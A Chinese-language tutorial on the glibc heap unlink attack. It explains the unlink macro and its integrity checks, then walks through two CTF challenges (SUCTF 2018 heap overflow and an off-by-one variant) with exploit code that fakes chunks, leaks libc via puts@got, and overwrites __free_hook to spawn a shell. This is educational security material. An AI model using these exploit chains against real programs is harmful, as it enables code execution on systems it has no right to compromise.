堆学习之unlink
字数 1789 2025-08-22 12:23:00
Unlink攻击技术详解
1. Unlink基础概念
Unlink是glibc中定义的一个宏,位于malloc.c(libc2.23)中,主要用于从双向链表中移除一个空闲chunk。其核心功能是维护空闲chunk的双向链表结构。
1.1 Unlink宏定义
#define unlink(AV, P, BK, FD) {
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (P->size) && __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr (check_action, "corrupted double-linked list (not small)", P, AV);
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}
}
}
}
1.2 Unlink操作的核心
Unlink操作主要完成以下工作:
- 从双向链表中移除指定chunk
- 检查链表完整性(防止链表被破坏)
- 处理大chunk的特殊指针(fd_nextsize和bk_nextsize)
2. Unlink攻击原理
2.1 攻击条件
成功实施unlink攻击需要满足以下条件:
- 存在堆溢出或off-by-one漏洞
- 程序在bss段存储了chunk指针列表(chunk_data_list)
- 能够控制chunk的fd和bk指针
2.2 攻击思路
通过伪造fake chunk并触发unlink操作,将chunk指针劫持到bss段的指针序列地址,从而实现任意地址读写。
2.3 关键检查机制
unlink操作会进行以下检查,攻击时需要绕过:
- 检查1:与被释放chunk相邻高地址chunk的prev_size值是否等于被释放chunk的size大小
- 检查2:与被释放chunk相邻高地址chunk的size的P标志位是否为0
- 检查3:检查前后被释放chunk的fd和bk指针是否指向正确的chunk
3. Unlink攻击实战
3.1 [SUCTF 2018招新赛]unlink例题分析
3.1.1 程序分析
- 保护机制:开启Canary和NX
- 功能:
- add:申请堆块,地址存储在bss段的chunk_data_list(0x6020c0)
- delete:释放堆块
- show:显示堆块内容
- edit:编辑堆块内容(存在堆溢出漏洞)
3.1.2 攻击步骤
-
初始布局:
touch(0x20) # chunk0 touch(0x80) # chunk1 touch(0x100) # chunk2 -
构造fake chunk:
buf = 0x6020c0 # chunk_data_list地址 prev_size = p64(0) chunk_size = p64(0x20) fd = buf - 0x18 bk = buf - 0x10 content = p64(fd) + p64(bk) of_prev_size = p64(0x20) of_chunk_size = p64(0x90) payload = prev_size + chunk_size + content + of_prev_size + of_chunk_size take_note(0, payload)这段代码在chunk1内构造了一个fake chunk:
- 设置prev_size=0和size=0x20
- 设置fd和bk指向精心构造的地址(绕过检查3)
- 修改chunk1的chunk头,使其看起来像是free状态
-
触发unlink:
delete(1) # 释放chunk1,触发unlink此时:
- chunk1(0x90)被free进入unsorted bin
- 系统发现其物理相邻的fake chunk为free状态,于是合并
- fake chunk从伪造的链表中脱链
-
劫持指针:
payload = p64(0)*3 + p64(0x6020c8) take_note(0, payload) # 现在写入的是0x6020a8 -
泄露libc地址:
payload = p64(elf.got['puts']) take_note(0, payload) # 修改chunk1指针为puts@got show(1) # 泄露puts地址 puts_addr = u64(io.recvuntil(b'\x7f')[-6:]+b'\x00\x00') libc_base = puts_addr - libc.sym['puts'] -
劫持free_hook:
free_hook = libc_base + libc.sym['__free_hook'] bin_sh_str = libc_base + next(libc.search(b'/bin/sh\x00')) payload = p64(free_hook) + p64(bin_sh_str) take_note(0, payload) system = libc_base + libc.sym['system'] take_note(1, p64(system)) delete(2) # 触发free("/bin/sh"),实际执行system("/bin/sh")
3.2 off-by-one unlink例题分析
3.2.1 与前一题的区别
- 堆溢出漏洞变为off-by-one漏洞
- 需要更精细的堆布局
3.2.2 攻击步骤
-
初始布局:
new(0x108, 'zzz') # chunk0,大小0x100+8 new(0xf0, 'aaa') # chunk1 new(0x100, '/bin/sh\x00') # chunk2,与top chunk隔离 -
构造fake chunk:
data_addr = 0x602120 # chunk_data_list地址 payload = p64(0) + p64(0x101) + p64(data_addr-0x18) + p64(data_addr-0x10) payload = payload.ljust(0x100, b'a') + p64(0x100) + p8(0) edit(0, payload)这段代码:
- 构造fake chunk的prev_size和size
- 设置fd和bk绕过检查
- 使用off-by-one覆盖下一个chunk的size最低位
-
触发unlink:
delete(1) # 触发合并和unlink -
泄露libc地址:
edit(0, p64(0)*3 + p64(data_addr-0x18) + p64(0x602018)) show(1) leak = u64(p.recv(6).ljust(8, b'\x00')) libc_base = leak - 0x84540 -
劫持控制流:
free_hook = 0x84540 + libc_base edit(0, p64(0)*3 + p64(0x6020c0-0x18) + p64(0x602018)) edit(1, p64(0x453a0+libc_base)) delete(2) # 触发system("/bin/sh")
4. 关键技巧总结
-
fake chunk构造:
- 精心设置fd和bk指针,使其指向看似合法的位置
- 通常fd = &target-0x18,bk = &target-0x10
-
绕过检查:
- 确保伪造的fd->bk == P且bk->fd == P
- 正确设置prev_size和size字段
-
利用链构造:
- 通过unlink将chunk指针劫持到可控区域
- 利用指针修改实现任意地址读写
-
不同漏洞利用:
- 堆溢出:直接覆盖后续chunk的元数据
- off-by-one:精细控制覆盖范围,通常只修改size的最低字节
5. 防御措施
-
最新glibc中的改进:
- 增加了更多的完整性检查
- 对unlink操作进行了更严格的验证
-
开发建议:
- 避免使用不安全的堆操作函数
- 及时更新libc版本
- 使用现代防护机制如FORTIFY_SOURCE
6. 扩展思考
-
其他版本的unlink:
- 不同glibc版本的unlink实现可能有差异
- 需要针对特定版本调整攻击方式
-
组合利用技巧:
- 结合其他堆利用技术如fastbin attack
- 与格式化字符串漏洞等结合使用
通过深入理解unlink机制及其利用方式,可以更好地理解glibc堆管理的内部工作原理,并提高对堆漏洞的挖掘和利用能力。